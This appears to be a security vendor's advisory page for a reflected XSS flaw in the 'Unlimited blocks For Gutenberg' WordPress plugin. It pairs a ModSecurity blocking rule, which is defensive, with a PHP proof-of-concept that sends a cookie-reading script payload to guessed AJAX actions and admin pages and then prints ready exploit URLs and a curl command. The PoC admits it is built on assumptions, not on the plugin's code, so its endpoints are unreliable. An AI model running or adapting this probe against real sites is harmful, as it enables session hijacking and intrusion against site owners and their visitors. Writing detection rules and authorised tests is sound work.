CVE-2026-25438: Gutenberg Blocks – Unlimited blocks For Gutenberg <= 1.2.8 – Reflected Cross-Site Scripting (unlimited-blocks)

# Atomic Edge WAF Rule - CVE-2026-25438 (metadata-based)
# Targets reflected XSS in Gutenberg Blocks – Unlimited blocks For Gutenberg plugin
# Blocks requests to plugin AJAX handlers with malicious script patterns in common parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2543801,phase:2,deny,status:403,chain,msg:'CVE-2026-25438: Reflected XSS in Unlimited Blocks plugin via AJAX',severity:'CRITICAL',tag:'CVE-2026-25438',tag:'WordPress',tag:'Plugin',tag:'XSS'"
  SecRule ARGS:action "@rx ^unlimited_blocks_" "chain"
    SecRule ARGS:/^(search|term|callback|id|name|title)$/ "@rx <script[^>]*>|javascript:|onloads*=|onerrors*=|onclicks*=" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25438 - Gutenberg Blocks – Unlimited blocks For Gutenberg <= 1.2.8 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-25438
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin registers AJAX actions with prefix 'unlimited_blocks_'
 * 2. A vulnerable parameter echoes unsanitized input
 * 3. The endpoint is /wp-admin/admin-ajax.php (common for unauthenticated AJAX)
 * 4. Parameter 'search' or 'term' is commonly vulnerable in block plugins
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action names for block plugins
$possible_actions = [
    'unlimited_blocks_search',
    'unlimited_blocks_get_blocks',
    'unlimited_blocks_ajax_handler',
    'unlimited_blocks_load_more',
    'unlimited_blocks_filter'
];

// XSS payload - will execute when victim visits the URL
$payload = '<script>alert(`Atomic Edge XSS Test: `+document.cookie)</script>';

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $params = [
        'action' => $action,
        'search' => $payload,          // Common vulnerable parameter
        'term' => $payload,            // Alternative parameter
        'callback' => $payload,        // JSONP-style parameter
        'id' => $payload               // Another possible vector
    ];
    
    echo "Testing action: {$action}n";
    
    // Test GET request (common for reflected XSS)
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    
    // Check if payload appears unsanitized in response
    if (strpos($response, $payload) !== false) {
        echo "[VULNERABLE] GET parameter reflected in response for action: {$action}n";
        echo "Exploit URL: " . $url . '?' . http_build_query($params) . "nn";
    }
    
    // Test POST request
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "[VULNERABLE] POST parameter reflected in response for action: {$action}n";
        echo "Exploit via: curl -X POST '{$url}' --data 'action={$action}&search=" . urlencode($payload) . "'nn";
    }
    
    curl_close($ch);
}

// Also test direct plugin admin page if AJAX fails
$admin_pages = [
    '/wp-admin/admin.php?page=unlimited-blocks',
    '/wp-admin/admin.php?page=gutenberg-blocks',
    '/wp-admin/admin.php?page=unlimited_blocks_settings'
];

foreach ($admin_pages as $page) {
    $url = $target_url . $page . '&test_param=' . urlencode($payload);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "[VULNERABLE] Admin page parameter reflected: {$page}n";
        echo "Exploit URL: {$url}n";
    }
    curl_close($ch);
}

echo "PoC complete. If no vulnerabilities found, try other parameter names or review plugin source for exact endpoint.n";
?>